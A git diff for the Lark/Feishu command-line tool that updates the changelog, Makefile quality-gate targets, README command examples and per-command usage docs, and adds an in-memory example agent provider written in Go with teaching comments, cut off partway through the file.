- Retire legacy error envelopes and enforce typed contract (#1449)
|
||||
|
||||
### Documentation
|
||||
|
||||
- **skills**: Soften lark-doc style guidance (#1463)
|
||||
|
||||
### Build
|
||||
|
||||
- Add CI quality gate with semantic review
|
||||
|
||||
## [v1.0.55] - 2026-06-16
|
||||
|
||||
### Features
|
||||
|
||||
- **vc**: Support agent meeting event workflows (#1483)
|
||||
- **drive**: Support exporting Base structure snapshots (#1481)
|
||||
- **doc**: Add docx cover resource commands (#1468)
|
||||
- **doc**: Support `lang` for docx fetch v2 (#1459)
|
||||
- **event**: Optimize subscription precheck, links, and consumer guard (#1447)
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- **drive**: Validate drive import folder target (#1485)
|
||||
|
||||
## [v1.0.54] - 2026-06-15
|
||||
|
||||
### Features
|
||||
|
||||
- **mail**: Auto-attach default signature on send/reply/forward (#1415)
|
||||
- **drive**: Support `original_creator_ids` filter in search (#1046)
|
||||
- **cli**: Simplify proxy plugin warning and gate it on TTY (#1448)
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- **doc**: Fix docs fetch and update ergonomics (#1466)
|
||||
- **vfs**: Reject blank local paths (#1460)
|
||||
- **vfs**: Reject Windows absolute paths cross-platform (#1401)
|
||||
- **event**: Clarify remote bus blocker recovery (#1454)
|
||||
|
||||
### Refactor
|
||||
|
||||
- Converge command pipelines onto a typed metadata model + catalog (#1191)
|
||||
|
||||
### Documentation
|
||||
|
||||
- **im**: Document `@mention` format per message type (text/post/card) (#1419)
|
||||
- **doc**: Clarify lark-doc create title guidance (#1474)
|
||||
- **skills**: Add rename prompt for import without `--name` (#1461)
|
||||
- **apps**: Drop Miaoda brand word from apps command help text (#1399)
|
||||
|
||||
## [v1.0.53] - 2026-06-12
|
||||
|
||||
### Features
|
||||
|
||||
- **auth**: Revoke user tokens server-side on `auth logout` (#1434)
|
||||
- **auth**: Add `--json` flag support to auth subcommands (#1431)
|
||||
- **token**: Mint TAT via unified OAuth v3 Token Endpoint (#1408)
|
||||
- **note**: Split note into a dedicated domain with `+detail` and `+transcript` flows (#1345, #1417, #1435)
|
||||
- **im**: Unify sort flags into `--sort` field and `--order` direction (#1302)
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- **apps**: Read release error_logs from `data.error_logs` in `+release-get` (#1436)
|
||||
|
||||
### Documentation
|
||||
|
||||
- **skills**: Optimize whiteboard skill (#1371)
|
||||
- **skills**: Optimize okr skill (#1368)
|
||||
|
||||
## [v1.0.52] - 2026-06-11
|
||||
|
||||
### Features
|
||||
|
||||
- **events**: Per-resource subscription identity + Match hook (#1185)
|
||||
- **apps**: Emit typed error envelopes across the apps domain (#1288)
|
||||
- **wiki**: Emit typed error envelopes across the wiki domain (#1350)
|
||||
- **im**: Add `--chat-modes` filter to chat search (#1317)
|
||||
- **apps**: Exclude `.git` directory from `+html-publish` package (#1396)
|
||||
- **build**: Support riscv64 prebuilt binaries in release and install pipeline
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- **apps**: Support git credential dry-run (#1390)
|
||||
- **whiteboard**: Fix parsing empty whiteboard content (#1391)
|
||||
- **build**: Make `-race` flag arch-conditional to support riscv64
|
||||
|
||||
### Documentation
|
||||
|
||||
- **im**: Document `chat.user_setting` batch_query/batch_update (#1339)
|
||||
- **im**: Document `chat.managers` and `chat.moderation` API resources (#1294)
|
||||
- **skills**: Optimize lark-drive skill routing (#1284)
|
||||
- **skills**: Expand cite user guidance and fix typos (#1394)
|
||||
|
||||
## [v1.0.51] - 2026-06-10
|
||||
|
||||
### Features
|
||||
|
||||
- **apps**: Support multi dev modes (#1175)
|
||||
- **im**: Complete audio/post rendering and add opt-in `--download-resources` (#1245)
|
||||
- **base**: Configure initial base table schema (#1377)
|
||||
- **vc**: Add recording event support (#1369)
|
||||
- **minutes**: Replace words for transcript (#1372)
|
||||
- **markdown**: Emit typed error envelopes across the markdown domain (#1347)
|
||||
- **sheets**: Emit typed error envelopes across the sheets domain (#1348)
|
||||
- **slides**: Emit typed error envelopes across the slides domain (#1349)
|
||||
|
||||
### Documentation
|
||||
|
||||
- **skills**: Warn about `@file` absolute path restriction in lark-doc skills (#1375)
|
||||
- **skills**: Remove unsupported ⚠️ from callout emoji list (#1374)
|
||||
|
||||
## [v1.0.50] - 2026-06-09
|
||||
|
||||
### Features
|
||||
|
||||
- **doc**: Emit typed error envelopes across the doc domain (#1346)
|
||||
- **event**: Emit typed error envelopes across the event domain (#1289)
|
||||
- **contact**: Emit typed error envelopes across the contact domain (#1287)
|
||||
- **sheets**: Guard `+csv-put --csv` against a path passed without `@` (#1337)
|
||||
- **cli**: Adjust agent timeout hint output conditions (#1328)
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- **drive**: Add `@file`/stdin support to `+add-comment --content` (#1343)
|
||||
- **slides**: Build create URL locally instead of drive metas call (#1329)
|
||||
- **cli**: Clarify `--block-id` supports comma-separated batch delete in help text (#1336)
|
||||
|
||||
### Documentation
|
||||
|
||||
- **doc**: Replace append with `block_insert_after` in skeleton workflow guidance (#1340)
|
||||
- **doc**: Document `<folder-manager>` resource block (#1168)
|
||||
- **drive**: Add drive comment location guidance (#1258)
|
||||
|
||||
## [v1.0.49] - 2026-06-08
|
||||
|
||||
### Features
|
||||
|
||||
- **events**: Add whiteboard event domain with per-board subscription (#1265)
|
||||
- **im**: Support feed group (#1102)
|
||||
- **im**: Add feed shortcut create, list, and remove shortcuts (#1273)
|
||||
- **im**: Format feed group error handling (#1308)
|
||||
- **im**: Return typed error envelopes across the im domain (#1230)
|
||||
- **base**: Emit typed error envelopes across the base domain (#1248)
|
||||
- **calendar**: Emit typed error envelopes across the calendar domain (#1232)
|
||||
- **task**: Emit typed error envelopes across the task domain (#1231)
|
||||
- **okr,whiteboard**: Emit typed error envelopes across both domains (#1236)
|
||||
- **minutes,vc**: Emit typed error envelopes across both domains (#1234)
|
||||
- **markdown**: Harden create upload failures (#1325)
|
||||
- **drive**: Harden inspect shortcut failures (#1324)
|
||||
- **slides**: Add IconPark lookup for Lark slides (#1123)
|
||||
- **doc**: Remove docs v1 API (#1291)
|
||||
- **cli**: Add `skills` command to read embedded skill content (#1318)
|
||||
- **cli**: Fetch official skills index (#1301)
|
||||
- **shared**: Document relative-path-only file arguments (#1319)
|
||||
- **scopes**: Clear `recommend.allow` scope auto-approve overrides (#1272)
|
||||
- **shortcuts**: Check shortcut example commands against the live CLI tree (#1244)
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- **events**: Keep bounded event consume runs alive after stdin EOF (#1285)
|
||||
- **drive**: Use docs secure label read scope (#1281)
|
||||
|
||||
### Documentation
|
||||
|
||||
- **approval**: Restructure skill with intent table and scope boundaries (#1307)
|
||||
- **skills**: Tighten drive and markdown guardrails (#1326)
|
||||
- **skills**: Optimize calendar, vc, and minutes skill guidance (#1269)
|
||||
- **markdown**: Add markdown domain template (#1293)
|
||||
- **markdown**: Improve lark-markdown skill guidance (#1279)
|
||||
- **doc**: Improve lark-doc skill guidance (#1283)
|
||||
- **wiki**: Optimize skill guidance and routing boundaries (#1275)
|
||||
- **slides**: Tighten routing/boundary and reconcile in-slide whiteboard (#1169)
|
||||
|
||||
## [v1.0.48] - 2026-06-04
|
||||
|
||||
### Features
|
||||
@@ -1026,6 +1317,19 @@ Bundled AI agent skills for intelligent assistance:
|
||||
- Bilingual documentation (English & Chinese).
|
||||
- CI/CD pipelines: linting, testing, coverage reporting, and automated releases.
|
||||
|
||||
[v1.0.61]: https://github.com/larksuite/cli/releases/tag/v1.0.61
|
||||
[v1.0.60]: https://github.com/larksuite/cli/releases/tag/v1.0.60
|
||||
[v1.0.59]: https://github.com/larksuite/cli/releases/tag/v1.0.59
|
||||
[v1.0.58]: https://github.com/larksuite/cli/releases/tag/v1.0.58
|
||||
[v1.0.57]: https://github.com/larksuite/cli/releases/tag/v1.0.57
|
||||
[v1.0.56]: https://github.com/larksuite/cli/releases/tag/v1.0.56
|
||||
[v1.0.55]: https://github.com/larksuite/cli/releases/tag/v1.0.55
|
||||
[v1.0.54]: https://github.com/larksuite/cli/releases/tag/v1.0.54
|
||||
[v1.0.53]: https://github.com/larksuite/cli/releases/tag/v1.0.53
|
||||
[v1.0.52]: https://github.com/larksuite/cli/releases/tag/v1.0.52
|
||||
[v1.0.51]: https://github.com/larksuite/cli/releases/tag/v1.0.51
|
||||
[v1.0.50]: https://github.com/larksuite/cli/releases/tag/v1.0.50
|
||||
[v1.0.49]: https://github.com/larksuite/cli/releases/tag/v1.0.49
|
||||
[v1.0.48]: https://github.com/larksuite/cli/releases/tag/v1.0.48
|
||||
[v1.0.47]: https://github.com/larksuite/cli/releases/tag/v1.0.47
|
||||
[v1.0.46]: https://github.com/larksuite/cli/releases/tag/v1.0.46
|
||||
|
||||
52
Makefile
52
Makefile
@@ -5,10 +5,25 @@ BINARY := lark-cli
|
||||
MODULE := github.com/larksuite/cli
|
||||
VERSION := $(shell git describe --tags --always --dirty 2>/dev/null || echo dev)
|
||||
DATE := $(shell date +%Y-%m-%d)
|
||||
NODE ?= node
|
||||
QUALITY_GATE_CHANGED_FROM ?= $(shell bash scripts/resolve-changed-from.sh)
|
||||
QUALITY_GATE_CHANGED_FROM_RESOLVED = $(if $(strip $(QUALITY_GATE_CHANGED_FROM)),$(QUALITY_GATE_CHANGED_FROM),$(shell bash scripts/resolve-changed-from.sh))
|
||||
QUALITY_GATE_DIR ?= .tmp/quality-gate
|
||||
QUALITY_GATE_MANIFEST_OUT ?= $(QUALITY_GATE_DIR)/command-manifest.json
|
||||
QUALITY_GATE_COMMAND_INDEX_OUT ?= $(QUALITY_GATE_DIR)/command-index.json
|
||||
QUALITY_GATE_FACTS_OUT ?= $(QUALITY_GATE_DIR)/facts.json
|
||||
PUBLIC_CONTENT_METADATA ?= $(QUALITY_GATE_DIR)/public-content-metadata.json
|
||||
LDFLAGS := -s -w -X $(MODULE)/internal/build.Version=$(VERSION) -X $(MODULE)/internal/build.Date=$(DATE)
|
||||
PREFIX ?= /usr/local
|
||||
|
||||
.PHONY: all build vet fmt-check test unit-test integration-test examples-build install uninstall clean fetch_meta gitleaks
|
||||
# The repository's Go 1.23 CI toolchain does not support -race on riscv64.
|
||||
# Prefer GOARCH passed to make (for example, `make GOARCH=riscv64 unit-test`)
|
||||
# over `go env GOARCH`, because command-line make variables are not visible to
|
||||
# $(shell ...).
|
||||
TEST_GOARCH := $(or $(GOARCH),$(shell go env GOARCH))
|
||||
RACE_FLAG := $(if $(filter riscv64,$(TEST_GOARCH)),,-race)
|
||||
|
||||
.PHONY: all build vet fmt-check script-test test unit-test integration-test examples-build quality-gate install uninstall clean fetch_meta gitleaks
|
||||
|
||||
all: test
|
||||
|
||||
@@ -32,9 +47,15 @@ fmt-check:
|
||||
exit 1; \
|
||||
fi
|
||||
|
||||
script-test:
|
||||
bash scripts/resolve-changed-from.test.sh
|
||||
bash scripts/ci-workflow.test.sh
|
||||
bash scripts/semantic-review-workflow.test.sh
|
||||
$(NODE) --test scripts/semantic-review-verify-artifact.test.js scripts/pr-quality-summary.test.js scripts/semantic-review-publish.test.js scripts/ci-quality-summary-publish.test.js
|
||||
|
||||
# ./extension/... keeps the public plugin SDK in the default test matrix.
|
||||
unit-test: fetch_meta
|
||||
go test -race -gcflags="all=-N -l" -count=1 \
|
||||
go test $(RACE_FLAG) -gcflags="all=-N -l" -count=1 \
|
||||
./cmd/... ./internal/... ./shortcuts/... ./extension/...
|
||||
|
||||
# examples-build keeps the shipped plugin-SDK examples compilable. If this
|
||||
@@ -46,7 +67,32 @@ examples-build:
|
||||
integration-test: build
|
||||
go test -v -count=1 ./tests/...
|
||||
|
||||
test: vet fmt-check unit-test examples-build integration-test
|
||||
test: vet fmt-check script-test unit-test examples-build integration-test
|
||||
|
||||
quality-gate: build
|
||||
mkdir -p $(QUALITY_GATE_DIR) $(dir $(QUALITY_GATE_FACTS_OUT)) $(dir $(PUBLIC_CONTENT_METADATA))
|
||||
test -f $(PUBLIC_CONTENT_METADATA) || printf '{}\n' > $(PUBLIC_CONTENT_METADATA)
|
||||
LARKSUITE_CLI_REMOTE_META=off \
|
||||
LARKSUITE_CLI_NO_UPDATE_NOTIFIER=1 \
|
||||
LARKSUITE_CLI_NO_SKILLS_NOTIFIER=1 \
|
||||
go run ./internal/qualitygate/cmd/manifest-export \
|
||||
--manifest-out $(QUALITY_GATE_MANIFEST_OUT) \
|
||||
--command-index-out $(QUALITY_GATE_COMMAND_INDEX_OUT)
|
||||
LARKSUITE_CLI_APP_ID=dry-run \
|
||||
LARKSUITE_CLI_APP_SECRET=dry-run \
|
||||
LARKSUITE_CLI_BRAND=feishu \
|
||||
LARKSUITE_CLI_CONFIG_DIR=$${TMPDIR:-/tmp}/quality-gate-cli-config \
|
||||
LARKSUITE_CLI_REMOTE_META=off \
|
||||
LARKSUITE_CLI_NO_UPDATE_NOTIFIER=1 \
|
||||
LARKSUITE_CLI_NO_SKILLS_NOTIFIER=1 \
|
||||
go run ./internal/qualitygate/cmd/quality-gate check \
|
||||
--repo . \
|
||||
--cli-bin ./$(BINARY) \
|
||||
--changed-from $(QUALITY_GATE_CHANGED_FROM_RESOLVED) \
|
||||
--manifest $(QUALITY_GATE_MANIFEST_OUT) \
|
||||
--command-index $(QUALITY_GATE_COMMAND_INDEX_OUT) \
|
||||
--public-content-metadata $(PUBLIC_CONTENT_METADATA) \
|
||||
--facts-out $(QUALITY_GATE_FACTS_OUT)
|
||||
|
||||
install: build
|
||||
install -d $(PREFIX)/bin
|
||||
|
||||
@@ -41,7 +41,7 @@ The official [Lark/Feishu](https://www.larksuite.com/) CLI tool, maintained by t
|
||||
| ✍️ Approval | Query approval tasks, approve/reject/transfer tasks, cancel and CC instances |
|
||||
| 🎯 OKR | Query, create, update OKRs; manage objective & key results, alignments, indicators and progress. |
|
||||
| 📋 Project | Meegle — manage work items, schedules, and data via the standalone [meegle-cli](https://github.com/larksuite/meegle-cli) (install separately) |
|
||||
| 🔗 Apps | Develop, deploy HTML, web pages and applications |
|
||||
| 🔗 Apps | Create Spark/Miaoda apps, publish HTML/static sites, run cloud generation, and manage access scope |
|
||||
|
||||
## Installation & Quick Start
|
||||
|
||||
@@ -198,7 +198,7 @@ Prefixed with `+`, designed to be friendly for both humans and AI, with smart de
|
||||
```bash
|
||||
lark-cli calendar +agenda
|
||||
lark-cli im +messages-send --chat-id "oc_xxx" --text "Hello"
|
||||
lark-cli docs +create --api-version v2 --doc-format markdown --content $'<title>Weekly Report</title>\n# Progress\n- Completed feature X'
|
||||
lark-cli docs +create --doc-format markdown --content $'<title>Weekly Report</title>\n# Progress\n- Completed feature X'
|
||||
```
|
||||
|
||||
Run `lark-cli <service> --help` to see all shortcut commands.
|
||||
|
||||
@@ -41,7 +41,7 @@
|
||||
| ✍️ 审批 | 查询审批任务、同意/拒绝/转交审批任务、撤回与抄送审批实例 |
|
||||
| 🎯 OKR | 查询、创建、更新 OKR,管理目标、关键结果、对齐、指标和进展记录 |
|
||||
| 📋 飞书项目 | 管理工作项、排期与数据 — 由独立的 [meegle-cli](https://github.com/larksuite/meegle-cli) 提供(需单独安装) |
|
||||
| 🔗 应用 | 开发、部署 HTML、Web 页面和应用 |
|
||||
| 🔗 应用 | 创建妙搭(Spark/Miaoda)应用、发布 HTML/静态站点、云端生成迭代、管理可用范围 |
|
||||
|
||||
## 安装与快速开始
|
||||
|
||||
@@ -199,7 +199,7 @@ CLI 提供三种粒度的调用方式,覆盖从快速操作到完全自定义
|
||||
```bash
|
||||
lark-cli calendar +agenda
|
||||
lark-cli im +messages-send --chat-id "oc_xxx" --text "Hello"
|
||||
lark-cli docs +create --api-version v2 --doc-format markdown --content $'<title>周报</title>\n# 本周进展\n- 完成了 X 功能'
|
||||
lark-cli docs +create --doc-format markdown --content $'<title>周报</title>\n# 本周进展\n- 完成了 X 功能'
|
||||
```
|
||||
|
||||
运行 `lark-cli <service> --help` 查看所有快捷命令。
|
||||
|
||||
49
affordance/README.md
Normal file
49
affordance/README.md
Normal file
@@ -0,0 +1,49 @@
|
||||
# Affordance
|
||||
|
||||
Per-command usage guidance for the CLI, authored as one markdown file per domain
|
||||
(`<service>.md`). It is surfaced in `lark-cli <command> --help` and in the
|
||||
`schema` output, and read directly at runtime (lazy, cached) — there is no build
|
||||
step. Maintain these files alongside `skills/` and `shortcuts/`.
|
||||
|
||||
## Format
|
||||
|
||||
A small, fixed markdown subset; each file describes one domain:
|
||||
|
||||
# <domain> optional `> skill: <name>` applies to every command below
|
||||
## <command> the command as typed, minus `lark-cli <domain>`
|
||||
<lead paragraph> when to use this command
|
||||
### Avoid when when not to use it / which command to use instead
|
||||
### Prerequisites what you must have first (e.g. an id, and where it comes from)
|
||||
### Tips gotchas and constraints
|
||||
### Examples **description** lines, each followed by a fenced command
|
||||
### <other heading> a custom section; flows through verbatim
|
||||
|
||||
Reference another command with `[[command]]` — it renders as `command` in help.
|
||||
Under `Avoid when` it means "use that one instead"; under `Prerequisites`
|
||||
("… from [[command]]") it means "get the input there first".
|
||||
|
||||
## Example
|
||||
|
||||
## messages get
|
||||
Fetch the full content of a single message by id.
|
||||
|
||||
### Avoid when
|
||||
- Reading several at once → use [[messages batch_get]]
|
||||
|
||||
### Prerequisites
|
||||
- message_id from [[messages list]]
|
||||
|
||||
### Examples
|
||||
|
||||
**Fetch one message**
|
||||
```bash
|
||||
lark-cli mail user_mailbox.messages get --message-id "<id>"
|
||||
```
|
||||
|
||||
## Notes
|
||||
|
||||
- Write plain prose; the only convention is wrapping command references in `[[ ]]`.
|
||||
- Keep it concise and high-signal — don't restate field/flag names, id types, or
|
||||
anything the schema and flags already show; the agent infers the rest.
|
||||
- Command-form headings resolve to method ids via the registry, so plural resource
|
||||
names (`messages`) map to the singular method id (`message`) automatically.
|
||||
19
affordance/contact.md
Normal file
19
affordance/contact.md
Normal file
@@ -0,0 +1,19 @@
|
||||
# contact
|
||||
> skill: lark-contact
|
||||
|
||||
## user_profiles batch_query
|
||||
Bulk-fetch personal status and signature for user ids you already have.
|
||||
|
||||
### Avoid when
|
||||
- Need more than status/signature (name, dept, email), or don't have the open_id yet → use [[+search-user]]
|
||||
|
||||
### Tips
|
||||
- Off by default — set include_personal_status / include_description to true under query_option
|
||||
- ids in user_ids must match --user-id-type (default open_id)
|
||||
|
||||
### Examples
|
||||
|
||||
**Bulk-query status and signature**
|
||||
```bash
|
||||
lark-cli contact user_profiles batch_query --data '{"user_ids":["ou_3a8b****6a7b"],"query_option":{"include_personal_status":true,"include_description":true}}'
|
||||
```
|
||||
365
agent/example/example.go
Normal file
365
agent/example/example.go
Normal file
@@ -0,0 +1,365 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
// Package example is the in-repo agent provider onboarding template and offline
|
||||
// demo backend: a hypothetical example business domain whose data / calls are
|
||||
// entirely in-memory mocks, with zero network. It has three roles:
|
||||
//
|
||||
// 1. A copy-start point for new integrators — copy the whole package and rename
|
||||
// it; every key decision point carries a teaching comment from the
|
||||
// "integrator's perspective" (how to fill registration fields, which
|
||||
// capabilities to wire, how to make capability trade-offs);
|
||||
// 2. The command tree's offline demo backend — the full agent
|
||||
// list/card/send/task/context chain runs for real without any platform
|
||||
// configuration;
|
||||
// 3. A stable mock scheme for cmd-layer tests.
|
||||
//
|
||||
// Minimal checklist for onboarding a new provider (each item is demonstrated in
|
||||
// this package):
|
||||
// - register metadata via agent.Register in init() (see the per-field comments below);
|
||||
// - construct a *agent.Provider in the Factory, wiring one func field per
|
||||
// capability you support — the core Send/GetTask are mandatory, every other
|
||||
// field is optional and "not wired = not supported" (the framework returns a
|
||||
// unified unsupported_capability error and derives the card matrix from what
|
||||
// is wired, so there is no bool matrix to keep in sync and no capability-
|
||||
// refusal code to write);
|
||||
// - a catalog type (KindCatalog) must wire ListAgents (asserted at registration);
|
||||
// - add a blank import under agent/register.go to trigger init registration;
|
||||
// - run agenttest.RunConformance in tests to lock down implicit contracts.
|
||||
package example
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/agent"
|
||||
)
|
||||
|
||||
// scheme is this provider's ref prefix (example:<agent_id>). It is globally
|
||||
// unique; duplicate registration panics during init (aligned with the
|
||||
// sql.Register convention, fail-fast to expose onboarding errors).
|
||||
const scheme = "example"
|
||||
|
||||
// catalog is the full agent set known at registration time. The catalog
|
||||
// boilerplate (enumeration / per-agent Card metadata / typed error for unknown
|
||||
// ids) is handled by the framework's StaticCatalog; the integrator only declares
|
||||
// the descriptive data. Capabilities are NOT declared here — see newProvider,
|
||||
// where each agent's supported capabilities are expressed by which Provider func
|
||||
// fields the Factory wires.
|
||||
var catalog = agent.NewStaticCatalog(scheme, []agent.CatalogEntry{
|
||||
{
|
||||
ID: "echo",
|
||||
Name: "复读机",
|
||||
Description: "把你发的话原样复读一遍(同一会话续发时带轮次,证明上下文记忆)。最小能力集示范。",
|
||||
},
|
||||
{
|
||||
ID: "reporter",
|
||||
Name: "报表生成器",
|
||||
Description: "对任意请求产出一份内联 CSV 报表 artifact,示范 artifact 下载与任务取消链路。",
|
||||
},
|
||||
})
|
||||
|
||||
func init() {
|
||||
// Registration contract (internal/agent/registry.go): everything except
|
||||
// RequiredScopes is required; missing / invalid values panic. At registration
|
||||
// time it also constructs a Provider once via a zero-value Deps probe — so the
|
||||
// Factory must accept zero-value Deps and an empty agentID, have no side
|
||||
// effects during construction (no network, no disk), and wire the mandatory
|
||||
// core fields (Send/GetTask) plus, for a catalog type, ListAgents.
|
||||
agent.Register(scheme, agent.ProviderInfo{
|
||||
Factory: newProvider,
|
||||
// Label: the user-facing provider name (the LABEL column in agent list).
|
||||
Label: "Example 演示 agent(内存 mock,零网络)",
|
||||
// AgentRefFormat: the written format of agent_ref, must start with "<scheme>:" (validated at registration).
|
||||
AgentRefFormat: "example:<agent_id>",
|
||||
// AgentIDSource: tells the user / AI where to get the agent_id — key
|
||||
// information for AI-guided onboarding, referenced by the unknown-id hint
|
||||
// and the not-discoverable list hint.
|
||||
AgentIDSource: "运行 lark-cli agent list example 查看内置演示 agent 及其 agent_ref(无需任何平台配置)",
|
||||
// Kind: catalog type. Registration asserts the provider wires ListAgents,
|
||||
// so `agent list example` can enumerate.
|
||||
Kind: agent.KindCatalog,
|
||||
// RequiredScopes: the full set of scopes this provider's real API calls
|
||||
// need. example has zero network and calls no OAPI, so it is empty —
|
||||
// scope preflight (cmd/agent/preflight.go) always passes for the empty
|
||||
// set. A real provider must list every scope used by any verb (preflight
|
||||
// is all-or-nothing).
|
||||
RequiredScopes: nil,
|
||||
// Identities: supported calling identities and their preconditions. The
|
||||
// mock treats user/bot alike; if a real provider has a precondition for
|
||||
// some identity (e.g. a bot needs channel whitelisting), put it in
|
||||
// Precondition and the card passes it through to the AI verbatim.
|
||||
Identities: []agent.IdentitySpec{
|
||||
{Type: agent.IdentityUser},
|
||||
{Type: agent.IdentityBot},
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
// state addresses one agent in the catalog. agentID may be empty — the
|
||||
// enumeration path (agent list example) and the registration probe construct a
|
||||
// state without an id.
|
||||
type state struct {
|
||||
deps agent.Deps
|
||||
agentID string
|
||||
}
|
||||
|
||||
// newProvider is the registered Factory. It assembles a *agent.Provider by
|
||||
// wiring the func fields for the capabilities this agent supports.
|
||||
//
|
||||
// Teaching focus — capability is expressed as wiring, per agent:
|
||||
// - Core Send/GetTask are wired unconditionally (mandatory).
|
||||
// - The always-on optionals (ListTasks, the context trio, ListAgents, Describe)
|
||||
// are wired for every agent.
|
||||
// - reporter additionally wires CancelTask + DownloadArtifact and sets
|
||||
// FileInput — echo does not, so echo's card honestly shows task_cancel /
|
||||
// artifact_download / file_input = false. There is no bool matrix: the card
|
||||
// is derived from exactly these fields (internal/agent/card.go DeriveCapabilities).
|
||||
// - A capability you do not wire needs zero refusal code: the command layer
|
||||
// gates on the nil field and returns unified unsupported_capability before
|
||||
// any provider method runs.
|
||||
//
|
||||
// Teaching point — the Factory does pure assignment only: it does not validate
|
||||
// agentID (an unknown id is rejected by catalog.Lookup inside the verbs that use
|
||||
// it, and by Describe on the card path; the empty-id probe/enumeration instance
|
||||
// must construct successfully) and does not touch deps (the mock has no use for
|
||||
// Client/As, but construction must have no side effects either way — the
|
||||
// zero-value Deps probe contract).
|
||||
func newProvider(deps agent.Deps, agentID string) (*agent.Provider, error) {
|
||||
s := &state{deps: deps, agentID: agentID}
|
||||
p := &agent.Provider{
|
||||
Send: s.send,
|
||||
GetTask: s.getTask,
|
||||
ListTasks: s.listTasks,
|
||||
ListContexts: s.listContexts,
|
||||
GetContext: s.getContext,
|
||||
DeleteContext: s.deleteContext,
|
||||
ListAgents: s.listAgents,
|
||||
Describe: s.describe,
|
||||
}
|
||||
// Per-agent capability: reporter can be canceled and produces a downloadable
|
||||
// artifact, accepts file input, and may pause a task in input_required; echo
|
||||
// (minimal set) does none of these, so those fields stay nil/false and the
|
||||
// framework reports them unsupported.
|
||||
if agentID == "reporter" {
|
||||
p.CancelTask = s.cancelTask
|
||||
p.DownloadArtifact = s.downloadArtifact
|
||||
p.FileInput = true
|
||||
p.InputRequired = true
|
||||
}
|
||||
return p, nil
|
||||
}
|
||||
|
||||
// describe supplies the per-agent Card metadata and validates the agent_id
|
||||
// (StaticCatalog.Describe returns a typed unknown-id error). Capabilities are
|
||||
// derived by the framework from the wired fields, so Describe never touches them.
|
||||
func (s *state) describe(ctx context.Context) (*agent.CardInfo, error) {
|
||||
return catalog.Describe(s.agentID)
|
||||
}
|
||||
|
||||
// listAgents enumerates the catalog: `agent list example` goes here.
|
||||
func (s *state) listAgents(ctx context.Context) ([]agent.AgentSummary, error) {
|
||||
return catalog.ListAgents(ctx)
|
||||
}
|
||||
|
||||
// send sends one message: the first turn generates a context_id to start a new
|
||||
// conversation, and --context-id continues within the same conversation. The
|
||||
// mock task has no async execution body, so send immediately returns in the
|
||||
// completed terminal state — the command layer's meta.next therefore directly
|
||||
// gives the terminal-state suggestion "view task detail and artifacts" rather
|
||||
// than a polling command.
|
||||
//
|
||||
// Teaching point (IsTerminal): IsTerminal is filled in here for convenience, but
|
||||
// leaving it out would be fine — the command layer's normalizeTask always
|
||||
// re-derives this field from State (single source), so a provider filling it in
|
||||
// wrong does not affect the watch exit code.
|
||||
func (s *state) send(ctx context.Context, in agent.SendInput) (*agent.AgentTask, error) {
|
||||
entry, err := catalog.Lookup(s.agentID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// The mock task is instantly terminal, so there is no "feed input to a running
|
||||
// task" scenario. Continuing via --task-id returns failed_precondition: the
|
||||
// request itself is valid but the target resource's state does not satisfy it
|
||||
// — reading this subtype, the AI knows to "try a different way" (start a new
|
||||
// task) rather than retry as-is. (This is a genuine runtime precondition, not
|
||||
// a capability gate — hence a typed error here, not an unwired field.)
|
||||
if in.TaskID != "" {
|
||||
return nil, errs.NewValidationError(errs.SubtypeFailedPrecondition,
|
||||
"example 的任务发出即完成(终态),无法向已有任务续发").
|
||||
WithParam("--task-id").
|
||||
WithHint("去掉 --task-id,用 --context-id 在同一会话起新一轮任务")
|
||||
}
|
||||
|
||||
ctxID := in.ContextID
|
||||
if ctxID == "" {
|
||||
// First turn: generate a context_id (the anchor for the multi-turn
|
||||
// context; later sends use it to continue the conversation).
|
||||
ctxID, err = store.createContext(s.agentID, truncateTitle(in.Text))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
// createTask validates context ownership while holding the lock (an unknown /
|
||||
// cross-agent context id is rejected inside with a typed validation error),
|
||||
// computes the round, and inserts atomically; the build callback only
|
||||
// assembles the task body according to the round.
|
||||
task, err := store.createTask(s.agentID, ctxID, func(round int) agent.AgentTask {
|
||||
var reply string
|
||||
switch entry.ID {
|
||||
case "echo":
|
||||
// Echo the input; from round 2 on, add a round marker to prove
|
||||
// across commands that context memory really works.
|
||||
reply = in.Text
|
||||
if round > 1 {
|
||||
reply = fmt.Sprintf("%s(第 %d 轮)", in.Text, round)
|
||||
}
|
||||
default: // reporter
|
||||
reply = "报表已生成:quarterly_report.csv(见 artifacts,用 task get --artifact <id> -o <path> 下载)"
|
||||
if n := len(in.Files); n > 0 {
|
||||
reply = fmt.Sprintf("已收到 %d 个附件;%s", n, reply)
|
||||
}
|
||||
}
|
||||
t := agent.AgentTask{
|
||||
TaskID: newID("task"),
|
||||
ContextID: ctxID,
|
||||
State: agent.StateCompleted,
|
||||
IsTerminal: true,
|
||||
Messages: []agent.Message{
|
||||
{Role: "user", Parts: []agent.Part{{Type: "text", Text: in.Text}}},
|
||||
{Role: "agent", Parts: []agent.Part{{Type: "text", Text: reply}}},
|
||||
},
|
||||
}
|
||||
if entry.ID == "reporter" {
|
||||
// The artifact exposes only fields the provider can truly deliver
|
||||
// (the contract.go rule: do not create empty shell fields that cannot
|
||||
// be filled): the GetTask stage gives ID + Kind (a coarse-grained type
|
||||
// hint), while the file name / mime are exposed at the
|
||||
// DownloadArtifact stage as suggested_name.
|
||||
t.Artifacts = []agent.Artifact{{ID: newID("art"), Kind: "text"}}
|
||||
}
|
||||
return t
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &task, nil
|
||||
}
|
||||
|
||||
// getTask queries a single task's state and artifacts (reads the in-memory state machine).
|
||||
func (s *state) getTask(ctx context.Context, taskID string) (*agent.AgentTask, error) {
|
||||
if _, err := catalog.Lookup(s.agentID); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
